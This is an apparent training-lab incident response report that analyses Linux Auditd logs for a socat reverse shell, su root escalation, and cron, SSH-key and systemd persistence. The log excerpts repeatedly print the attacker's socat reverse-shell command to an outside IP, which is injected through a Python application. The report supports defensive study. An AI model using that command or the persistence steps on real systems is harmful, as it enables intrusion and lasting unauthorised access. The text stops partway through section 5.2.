

Linux Incident Response and Threat Hunting Investigation Report

Reverse Shell Detection, Privilege Escalation, and Persistence Analysis

Tools Used: Auditd, ausearch, grep, Linux process tracing, forensic log analysis

Introduction

This investigation focused on analyzing Linux Auditd logs to identify suspicious attacker activity within a simulated enterprise environment. The project simulated a Security Operations Center (SOC) threat hunting workflow by tracing reverse shell execution, investigating process activity, detecting privilege escalation attempts, identifying persistence mechanisms, and correlating suspicious command execution behavior.

Throughout the investigation, multiple Linux forensic analysis techniques were used, including process tree tracing, PID correlation, shell execution analysis, privilege monitoring, and persistence detection. Auditd logs provided detailed visibility into attacker activity, enabling reconstruction of the compromise timeline and identification of malicious behavior occurring within the system.

The investigation identified several indicators of compromise, including Socat-based reverse shell communication, successful root privilege escalation, suspicious outbound network connections, cron-based persistence activity, SSH authorized key modification, and malicious systemd service creation. These findings demonstrate how Linux audit logging can support real-world incident response, threat hunting, and forensic investigations within enterprise environments.

1. Linux Investigation Environment Preparation

The investigation environment was prepared by accessing the Linux threat hunting scenario and validating the availability of Auditd forensic log files. Root privileges were enabled to ensure full visibility into process execution events, privileged operations, and persistence-related activity throughout the investigation.

```

root@thm-vm:/home/ubuntu/scenarios # Reviewing all socat-related process activity
root@thm-vm:/home/ubuntu/scenarios # ausearch -i -if /home/ubuntu/scenario/audit.log | grep socat
type=PROCTITLE msg=audit(09/23/25 14:51:59.949:2121) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && which socat
type=EXECVE msg=audit(09/23/25 14:51:59.949:2121) : argc=3 a0=/bin/sh al=-c a2=ping -c 4 -W 1 10.14.105.255 && which socat
type=PROCTITLE msg=audit(09/23/25 14:52:04.014:2123) : proctitle=/bin/sh /usr/bin/which socat
type=EXECVE msg=audit(09/23/25 14:52:04.014:2123) : argc=3 a0=/bin/sh al=/usr/bin/which a2=socat
type=PROCTITLE msg=audit(09/23/25 14:52:20.453:2124) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=EXECVE msg=audit(09/23/25 14:52:20.453:2124) : argc=3 a0=/bin/sh al=-c a2=ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.512:2126) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=EXECVE msg=audit(09/23/25 14:52:23.512:2126) : argc=3 a0=socat al=TCP:10.14.105.255:1337 a2=EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.512:2126) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5cf7b618a740 a1=0x5cf7b618a6b8 a2=0x5cf7b618a6d8 a3=0x8 items=2 ppid=2543 pid=2545 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2127) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.564:2127) : arch=x86_64 syscall=execve success=no exit=ENOENT(No such file or directory) a0=0x7ffe37b667c0 a1=0x62a683bd30b0 a2=0x62a683bd23c0 a3=0x1 items=1 ppid=2545 pid=2546 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2129) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.565:2129) : arch=x86_64 syscall=execve success=no exit=ENOENT(No such file or directory) a0=0x7ffe37b667c0 a1=0x62a683bd30b0 a2=0x62a683bd23c0 a3=0x1 items=1 ppid=2545 pid=2546 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2130) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
root@thm-vm:/home/ubuntu/scenarios #

```

Figure 1. Linux Investigation Environment Preparation

Key Findings

- Auditd log file successfully identified
- Root access enabled for complete forensic visibility
- Linux investigation environment prepared for threat hunting analysis

2. Reverse Shell Investigation

2.1. Detection of Suspicious Reverse Shell Activity

Auditd logs revealed suspicious reverse shell activity involving the socat utility establishing outbound TCP communication to 10.14.105.255:1337. The command included EXEC:sh, indicating an attempt to spawn an interactive shell commonly associated with attacker command-and-control behavior.

```

root@thm-vm:/home/ubuntu/scenarios # Tracing parent process of reverse shell
root@thm-vm:/home/ubuntu/scenarios # ausearch -i -if /home/ubuntu/scenario/audit.log --pid 2545
----
type=PROCTITLE msg=audit(09/23/25 14:52:23.512:2126) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=CWD msg=audit(09/23/25 14:52:23.512:2126) : cwd=/opt/tryingme
type=EXECVE msg=audit(09/23/25 14:52:23.512:2126) : argc=3 a0=socat al=TCP:10.14.105.255:1337 a2=EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.512:2126) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5cf7b618a740 a1=0x5cf7b618a6b8 a2=0x5cf7b618a6d8 a3=0x8 items=2 ppid=2543 pid=2545 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
root@thm-vm:/home/ubuntu/scenarios #

```

Figure 2. Detection of Suspicious Reverse Shell Activity

Key Findings

- Outbound TCP connection detected to 10.14.105.255:1337
- Socat used to establish reverse shell communication
- Interactive shell spawning observed through EXEC:sh
- Activity executed under the svctryingme account
- Initial indicator of compromise identified

2.2. Reverse Shell Process Tracing Through PID Correlation

Process tracing techniques were used to investigate the reverse shell activity by correlating process identifiers (PIDs) within the Auditd logs. The analysis traced the malicious Socat process and identified its parent-child relationship within the process execution chain.

```
root@thm-vm:/home/ubuntu/scenarios # Moving up the process tree to identify command execution source
root@thm-vm:/home/ubuntu/scenarios$ ausearch -i -if /home/ubuntu/scenario/audit.log --pid 2543
----
type=PROCTITLE msg=audit(09/23/25 14:52:20.453:2124) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC
:sh,pty,stderr,setsid,sigint,sane
type=CWD msg=audit(09/23/25 14:52:20.453:2124) : cwd=/opt/tryingme
type=EXECVE msg=audit(09/23/25 14:52:20.453:2124) : argc=3 a0=/bin/sh a1=-c a2=ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 E
XEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:20.453:2124) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x79a15c379810 a1=0x79a15a664130 a2=0x7
ffc499a62a0 a3=0x0 items=2 ppid=2526 pid=2543 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctrypi
ngme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=sh exe=/usr/bin/dash subj=unconfined key=exec
root@thm-vm:/home/ubuntu/scenarios
```

Figure 3. Reverse Shell Process Tracing Through PID Correlation

Key Findings

- Reverse shell process traced through PID correlation
- Parent-child process relationship successfully identified
- Socat process execution linked to upstream command activity
- Auditd logs provided detailed process execution visibility

2.3. Identification of Original Reverse Shell Source Process

Further process tracing analysis identified the original application responsible for launching the reverse shell activity. Auditd logs revealed that the malicious process originated from a Python application executed from /opt/tryingme/main.py.

```

root@thm-vm:/home/ubuntu/scenario$ # Identifying the original application process responsible for activity
root@thm-vm:/home/ubuntu/scenario$ ausearch -i -if /home/ubuntu/scenario/audit.log --pid 2526
-----
type=PROCTITLE msg=audit(09/23/25 14:51:00.145:2113) : proctitle=/usr/lib/systemd/systemd-executor --deserialize 8 --log-level info --log-target journal-or-kmsg
type=CWD msg=audit(09/23/25 14:51:00.145:2113) : cwd=/opt/tryingme
type=EXECVE msg=audit(09/23/25 14:51:00.145:2113) : argc=2 a0=/usr/bin/python3 a1=/opt/tryingme/main.py
type=SYSCALL msg=audit(09/23/25 14:51:00.145:2113) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5d5d1ce46860 a1=0x5d5d1ce48180 a2=0x5d5d1ce49b50 a3=0x5d5d1ce45b70 items=2 ppid=1 pid=2526 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=python3 exe=/usr/bin/python3.12 subj=unconfined key=exec
root@thm-vm:/home/ubuntu/scenario$ █

```

Figure 4. Identification of Original Reverse Shell Source Process

Key Findings

- Original reverse shell source process identified
- Python application linked to malicious activity
- Reverse shell originated from /opt/tryingme/main.py
- Process chain reconstruction successfully completed

2.4. Investigation of Commands Executed Through the Reverse Shell

Additional investigation focused on identifying commands executed through the spawned reverse shell session. Auditd process records revealed multiple shell execution events associated with the compromised session, confirming active command execution activity after initial compromise.

```

root@thm-vm:/home/ubuntu/scenario$ # Listing commands executed from the spawned reverse shell
root@thm-vm:/home/ubuntu/scenario$ ausearch -i -if /home/ubuntu/scenario/audit.log --ppid 2545 | grep proctitle
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2127) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2128) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2129) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2130) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
root@thm-vm:/home/ubuntu/scenario$ █

```

Figure 5. Investigation of Commands Executed Through the Reverse Shell

Key Findings

- Multiple shell execution events identified
- Active command execution observed after compromise
- Reverse shell activity confirmed through process correlation
- Attacker interaction with the compromised system detected

3. Privilege Escalation Investigation

3.1. Detection of Privilege Escalation Activity

The investigation identified evidence of privilege escalation activity through execution of the su root command. Auditd authentication records confirmed successful escalation from the svctryingme account into a privileged root session.

```
root@thm-vm:/home/ubuntu/scenarios # Looking for privilege escalation activity through su execution
root@thm-vm:/home/ubuntu/scenarios$ ausearch -i -if /home/ubuntu/scenario/audit.log -x su
-----
type=PROCTITLE msg=audit(09/23/25 14:53:49.262:2138) : proctitle=su root
type=CWD msg=audit(09/23/25 14:53:49.262:2138) : cwd=/opt/tryingme
type=EXECVE msg=audit(09/23/25 14:53:49.262:2138) : argc=2 a0=su a1=root
type=SYSCALL msg=audit(09/23/25 14:53:49.262:2138) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x6390c532c5e8 a1=0x6390c532c550 a2=0x6390c532c568 a3=0x8 items=2 ppid=2546 pid=2554 auid=unset uid=svctryingme gid=svctryingme euid=root suid=root fsuid=root egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=su exe=/usr/bin/su subj=unconfined key=exec
-----
type=USER_AUTH msg=audit(09/23/25 14:53:54.306:2139) : pid=2554 uid=svctryingme auid=unset ses=unset subj=unconfined msg='op=PAM:authentication grantors=pam_permit,pam_cap acct=root exe=/usr/bin/su hostname=? addr=? terminal=/dev/pts/2 res=success'
root@thm-vm:/home/ubuntu/scenarios$
```

Figure 6. Detection of Privilege Escalation Activity

Key Findings

- Successful privilege escalation activity detected
- su root command execution identified
- Authentication logs confirmed root access
- Privileged session established after reverse shell activity

3.2. Root Shell Activity Investigation

Following successful privilege escalation, additional Auditd analysis revealed root-level shell execution activity occurring within the compromised environment. Process execution logs confirmed attacker access to an active root shell session.

```
root@thm-vm:/home/ubuntu/scenarios # Investigating commands executed after successful root escalation
root@thm-vm:/home/ubuntu/scenarios$ ausearch -i -if /home/ubuntu/scenario/audit.log --ppid 2554
-----
type=PROCTITLE msg=audit(09/23/25 14:53:54.583:2159) : proctitle=bash
type=CWD msg=audit(09/23/25 14:53:54.583:2159) : cwd=/opt/tryingme
type=EXECVE msg=audit(09/23/25 14:53:54.583:2159) : argc=1 a0=bash
type=SYSCALL msg=audit(09/23/25 14:53:54.583:2159) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5f57667dc0a0 a1=0x5f57667cd870 a2=0x5f57667e29c0 a3=0x5f57667cd6a0 items=2 ppid=2554 pid=2570 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=bash exe=/usr/bin/bash subj=unconfined key=exec
root@thm-vm:/home/ubuntu/scenarios$
```

Figure 7. Root Shell Activity Investigation

Key Findings

- Root shell execution activity identified

- Attacker obtained privileged command execution access
- Bash process executed with elevated root permissions
- Post-escalation activity successfully confirmed

4. Persistence Mechanism Investigation

4.1. Detection of Cron-Based Persistence Mechanisms

The investigation identified suspicious cron-related activity involving modification of scheduled task configurations. Auditd records showed usage of the crontab utility, indicating potential persistence establishment through scheduled task execution.

```
root@thm-vm:/home/ubuntu/scenarios # Detecting cron-based persistence activity
root@thm-vm:/home/ubuntu/scenarios$ ausearch -i -x crontab
-----
type=PROCTITLE msg=audit(09/23/25 17:07:38.770:837) : proctitle=crontab -e
type=PATH msg=audit(09/23/25 17:07:38.770:837) : item=1 name=crontabs/tmp.P5H675 inode=564223 dev=103:01 mode=file,600 ouid=root ogid=crontab
rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(09/23/25 17:07:38.770:837) : item=0 name=crontabs/ inode=517077 dev=103:01 mode=dir,sticky,730 ouid=root ogid=crontab rde
v=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:07:38.770:837) : cwd=/var/spool/cron
type=SYSCALL msg=audit(09/23/25 17:07:38.770:837) : arch=x86_64 syscall=openat success=yes exit=5 a0=AT_FDCWD a1=0x5d5f36f771c0 a2=0 RDWR|O_C
REAT|O_EXCL a3=0x180 items=2 ppid=1265 pid=1311 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=crontab sgid=crontab fsgid=
crontab tty=pts1 ses=8 comm=crontab exe=/usr/bin/crontab subj=unconfined key=cron
root@thm-vm:/home/ubuntu/scenarios
```

Figure 8. Detection of Cron-Based Persistence Mechanisms

Key Findings

- Cron-based persistence activity detected
- crontab utility execution identified
- Scheduled task configuration modification observed
- Potential attacker persistence mechanism discovered

4.2. Detection of SSH Authorized Key Persistence Activity

Auditd logs revealed suspicious modification activity involving the `authorized_keys` file within the `.ssh` directory. This behavior is commonly associated with attacker persistence techniques used to maintain future unauthorized SSH access.


```

root@thm-vm:/home/ubuntu/scenarios # Detecting SSH key persistence activity
root@thm-vm:/home/ubuntu/scenarios$ ausearch -i -f /.ssh/authorized_keys
-----
type=PROCTITLE msg=audit(09/23/25 17:08:26.870:838) : proctitle=bash
type=PATH msg=audit(09/23/25 17:08:26.870:838) : item=0 name=/root/.ssh/authorized_keys inode=256095 dev=103:01 mode=file,600 ouid=root ogid=
root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:08:26.870:838) : cwd=/root
type=SYSCALL msg=audit(09/23/25 17:08:26.870:838) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x5a843f9e03d0 a2=0_WRONLY|O
_CREAT|O_APPEND a3=0x1b6 items=1 ppid=1264 pid=1265 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=ro
ot tty=pts1 ses=8 comm=bash exe=/usr/bin/bash subj=unconfined key=ssh
-----
type=PROCTITLE msg=audit(05/18/26 06:06:15.337:144) : proctitle=/usr/bin/python3 /usr/bin/cloud-init init
type=PATH msg=audit(05/18/26 06:06:15.337:144) : item=0 name=/home/ubuntu/.ssh/authorized_keys inode=256093 dev=103:02 mode=file,600 ouid=ubu
ntu ogid=ubuntu rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(05/18/26 06:06:15.337:144) : cwd=/
type=SYSCALL msg=audit(05/18/26 06:06:15.337:144) : arch=x86_64 syscall=openat success=yes exit=5 a0=AT_FDCWD a1=0x7a77a8ff31b0 a2=0_WRONLY|O
_CREAT|O_TRUNC|O_CLOEXEC a3=0x1b6 items=1 ppid=1 pid=573 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgl
d=root tty=(none) ses=unset comm=cloud-init exe=/usr/bin/python3.12 subj=unconfined key=ssh
-----
type=PROCTITLE msg=audit(05/18/26 06:06:15.339:145) : proctitle=/usr/bin/python3 /usr/bin/cloud-init init
type=PATH msg=audit(05/18/26 06:06:15.339:145) : item=0 name=/root/.ssh/authorized_keys inode=256095 dev=103:02 mode=file,600 ouid=root ogid=
root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(05/18/26 06:06:15.339:145) : cwd=/
type=SYSCALL msg=audit(05/18/26 06:06:15.339:145) : arch=x86_64 syscall=openat success=yes exit=5 a0=AT_FDCWD a1=0x7a77a90b7450 a2=0_WRONLY|O
_CREAT|O_TRUNC|O_CLOEXEC a3=0x1b6 items=1 ppid=1 pid=573 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgl
d=root tty=(none) ses=unset comm=cloud-init exe=/usr/bin/python3.12 subj=unconfined key=ssh
root@thm-vm:/home/ubuntu/scenarios$

```

Figure 9. Detection of SSH Authorized Key Persistence Activity

Key Findings

- SSH authorized key modification detected
- Potential unauthorized remote access persistence identified
- Root-level access used during file modification
- Persistence activity observed within .ssh configuration files

4.3. Detection of Systemd Persistence Modifications

Further investigation identified suspicious modifications involving systemd service configuration files. Auditd records revealed activity targeting files within /etc/systemd/system/, indicating possible persistence establishment through malicious service registration.

```

root@thm-vm:/home/ubuntu/scenarios # Detecting systemd service persistence modifications
root@thm-vm:/home/ubuntu/scenarios$ ausearch -l -f /etc/systemd
----
type=PROCTITLE msg=audit(09/23/25 17:06:42.860:834) : proctitle=nano /etc/systemd/system/tux.service
type=PATH msg=audit(09/23/25 17:06:42.860:834) : item=1 name=/etc/systemd/system/tux.service.swp inode=534 dev=103:01 mode=file,644 ouid=root
ogid=root rdev=00:00 nametype=CREATE cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=PATH msg=audit(09/23/25 17:06:42.860:834) : item=0 name=/etc/systemd/system/ inode=410 dev=103:01 mode=dir,755 ouid=root ogid=root rdev=
00:00 nametype=PARENT cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=CWD msg=audit(09/23/25 17:06:42.860:834) : cwd=/home/ubuntu
type=SYSCALL msg=audit(09/23/25 17:06:42.860:834) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x6462dcf76a80 a2=0_WRONLY|O
_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1265 pid=1310 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root
tty=pts1 ses=8 comm=nano exe=/usr/bin/nano subj=unconfined key=systemd
----
type=PROCTITLE msg=audit(09/23/25 17:06:54.825:835) : proctitle=nano /etc/systemd/system/tux.service
type=PATH msg=audit(09/23/25 17:06:54.825:835) : item=1 name=/etc/systemd/system/tux.service.swp inode=534 dev=103:01 mode=file,644 ouid=root
ogid=root rdev=00:00 nametype=CREATE cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=PATH msg=audit(09/23/25 17:06:54.825:835) : item=0 name=/etc/systemd/system/ inode=410 dev=103:01 mode=dir,755 ouid=root ogid=root rdev=
00:00 nametype=PARENT cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=CWD msg=audit(09/23/25 17:06:54.825:835) : cwd=/home/ubuntu
type=SYSCALL msg=audit(09/23/25 17:06:54.825:835) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x6462dcf76a80 a2=0_WRONLY|O
_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1265 pid=1310 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root
tty=pts1 ses=8 comm=nano exe=/usr/bin/nano subj=unconfined key=systemd
----
type=PROCTITLE msg=audit(09/23/25 17:07:11.421:836) : proctitle=nano /etc/systemd/system/tux.service
type=PATH msg=audit(09/23/25 17:07:11.421:836) : item=1 name=/etc/systemd/system/tux.service inode=616 dev=103:01 mode=file,644 ouid=root ogi
d=root rdev=00:00 nametype=CREATE cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=PATH msg=audit(09/23/25 17:07:11.421:836) : item=0 name=/etc/systemd/system/ inode=410 dev=103:01 mode=dir,755 ouid=root ogid=root rdev=
00:00 nametype=PARENT cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=CWD msg=audit(09/23/25 17:07:11.421:836) : cwd=/home/ubuntu
type=SYSCALL msg=audit(09/23/25 17:07:11.421:836) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x6462dcfb9c40 a2=0_WRONLY|O
_CREAT|O_TRUNC a3=0x1b6 items=2 ppid=1265 pid=1310 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=roo
t tty=pts1 ses=8 comm=nano exe=/usr/bin/nano subj=unconfined key=systemd
----
type=PROCTITLE msg=audit(05/18/26 06:06:25.228:204) : proctitle=wget -O /etc/systemd/system/badr.service https://tryhackme-badr-deployment-pr
oduction-us-east-1.s3.us-east-1.amazonaws.com/badr.
type=PATH msg=audit(05/18/26 06:06:25.228:204) : item=1 name=/etc/systemd/system/badr.service inode=1473 dev=103:02 mode=file,644 ouid=root o
gid=root rdev=00:00 nametype=CREATE cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=PATH msg=audit(05/18/26 06:06:25.228:204) : item=0 name=/etc/systemd/system/ inode=410 dev=103:02 mode=dir,755 ouid=root ogid=root rdev=
00:00 nametype=PARENT cap fp=none cap fi=none cap fe=0 cap fver=0 cap frootid=0
type=CWD msg=audit(05/18/26 06:06:25.228:204) : cwd=/
type=SYSCALL msg=audit(05/18/26 06:06:25.228:204) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x5943e07458f0 a2=0_WRONLY|O
_CREAT|O_TRUNC a3=0x1b6 items=2 ppid=1038 pid=1053 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root
tty=(none) ses=unset comm=wget exe=/usr/bin/wget subj=unconfined key=systemd
root@thm-vm:/home/ubuntu/scenarios #

```

Figure 10. Detection of Systemd Persistence Modifications

Key Findings

- Suspicious systemd service modification activity detected
- Files within /etc/systemd/system/ targeted
- Potential service-based persistence mechanism identified
- Elevated privileges used during system modification activity

4.4. Investigation of Malicious Service Creation Activity

Additional analysis revealed evidence of suspicious service creation involving external file retrieval and service deployment activity. Auditd logs showed the use of wget to create malicious service configuration files within the systemd service directory.


```

root@thm-vm:/home/ubuntu/scenarios # Investigating suspicious system service creation
root@thm-vm:/home/ubuntu/scenarios # ausearch -i -f /etc/systemd/system/tux.service
----
type=PROCTITLE msg=audit(09/23/25 17:07:11.421:836) : proctitle=nano /etc/systemd/system/tux.service
type=PATH msg=audit(09/23/25 17:07:11.421:836) : item=1 name=/etc/systemd/system/tux.service inode=616 dev=103:01 mode=file,644 ouid=root ogid=root rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(09/23/25 17:07:11.421:836) : item=0 name=/etc/systemd/system/ inode=410 dev=103:01 mode=dir,755 ouid=root ogid=root rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:07:11.421:836) : cwd=/home/ubuntu
type=SYSCALL msg=audit(09/23/25 17:07:11.421:836) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x6462dcfb9c40 a2=0 WRONLY|O_CREAT|O_TRUNC a3=0x1b6 items=2 ppid=1265 pid=1310 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root
t tty=pts1 ses=8 comm=nano exe=/usr/bin/nano subj=unconfined key=systemd
root@thm-vm:/home/ubuntu/scenarios #

```

Figure 11. Investigation of Malicious Service Creation Activity

Key Findings

- Suspicious service creation activity identified
- wget used to retrieve malicious service configuration
- Unauthorized system service deployment detected
- Persistence mechanism established through systemd services

5. Advanced Threat Hunting and Behavioral Analysis

5.1. Threat Hunting for Suspicious Shell Execution Activity

Broader threat hunting analysis was conducted to identify suspicious shell execution behavior throughout the Auditd logs. Multiple shell command execution events associated with attacker activity were successfully identified and correlated.

```

root@thm-vm:/home/ubuntu/scenarios # Searching for all executed shell commands in the audit logs
root@thm-vm:/home/ubuntu/scenarios # ausearch -i -f /home/ubuntu/scenario/audit.log | grep "/bin/sh"
type=PROCTITLE msg=audit(09/23/25 14:51:23.342:2114) : proctitle=/bin/sh -c ping -c 4 -W 1 1.1.1.1
type=EXECVE msg=audit(09/23/25 14:51:23.342:2114) : argc=3 a0=/bin/sh al=-c a2=ping -c 4 -W 1 1.1.1.1
type=PROCTITLE msg=audit(09/23/25 14:51:35.237:2116) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255
type=EXECVE msg=audit(09/23/25 14:51:35.237:2116) : argc=3 a0=/bin/sh al=-c a2=ping -c 4 -W 1 10.14.105.255
type=PROCTITLE msg=audit(09/23/25 14:51:50.970:2118) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && whoami
type=EXECVE msg=audit(09/23/25 14:51:50.970:2118) : argc=3 a0=/bin/sh al=-c a2=ping -c 4 -W 1 10.14.105.255 && whoami
type=PROCTITLE msg=audit(09/23/25 14:51:59.949:2121) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && which socat
type=EXECVE msg=audit(09/23/25 14:51:59.949:2121) : argc=3 a0=/bin/sh al=-c a2=ping -c 4 -W 1 10.14.105.255 && which socat
type=PROCTITLE msg=audit(09/23/25 14:52:04.014:2123) : proctitle=/bin/sh /usr/bin/which socat
type=EXECVE msg=audit(09/23/25 14:52:04.014:2123) : argc=3 a0=/bin/sh al=/usr/bin/which a2=socat
type=PROCTITLE msg=audit(09/23/25 14:52:20.453:2124) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC
:sh,pty,stderr,setsid,sigint,sane
type=EXECVE msg=audit(09/23/25 14:52:20.453:2124) : argc=3 a0=/bin/sh al=-c a2=ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC
:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:53:54.590:2161) : proctitle=/bin/sh /usr/bin/lesspipe
type=EXECVE msg=audit(09/23/25 14:53:54.590:2161) : argc=2 a0=/bin/sh al=/usr/bin/lesspipe
root@thm-vm:/home/ubuntu/scenarios #

```

Figure 12. Threat Hunting for Suspicious Shell Execution Activity

Key Findings

- Suspicious shell execution activity identified
- Multiple attacker command execution events correlated

- Shell-based process activity successfully reconstructed
- Threat hunting techniques improved attack visibility

5.2. Correlation of Elevated Root Privilege Activity

Additional log correlation analysis focused on identifying processes executed with elevated root privileges. Auditd records revealed multiple commands executed with `uid=root`, confirming extensive privileged activity following successful escalation.

```
root@thm-vm:/home/ubuntu/scenarios # Reviewing all commands executed with elevated root privileges
root@thm-vm:/home/ubuntu/scenarios ausearch -i -if /home/ubuntu/scenario/audit.log | grep "uid=root"
type=SYSCALL msg=audit(09/23/25 14:53:49.262:2138) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x6390c532c5e8 a1=0x6390c532c550 a2=0x6390c532c568 a3=0x8 items=2 ppid=2546 pid=2554 auid=unset uid=svctryingme gid=svctryingme euid=root suid=root fsuid=root egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=su exe=/usr/bin/su subj=unconfined key=exec
type=SYSCALL msg=audit(09/23/25 14:53:54.383:2150) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x638c16173ee0 a1=0x7ffe3c208290 a2=0x7ffe3c208960 a3=0x7ffe3c208290 items=2 ppid=2559 pid=2560 auid=root uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=150 comm=30-systemd-envi exe=/usr/lib/systemd/user-environment-generators/30-systemd-environment-d-generator subj=unconfined key=exec
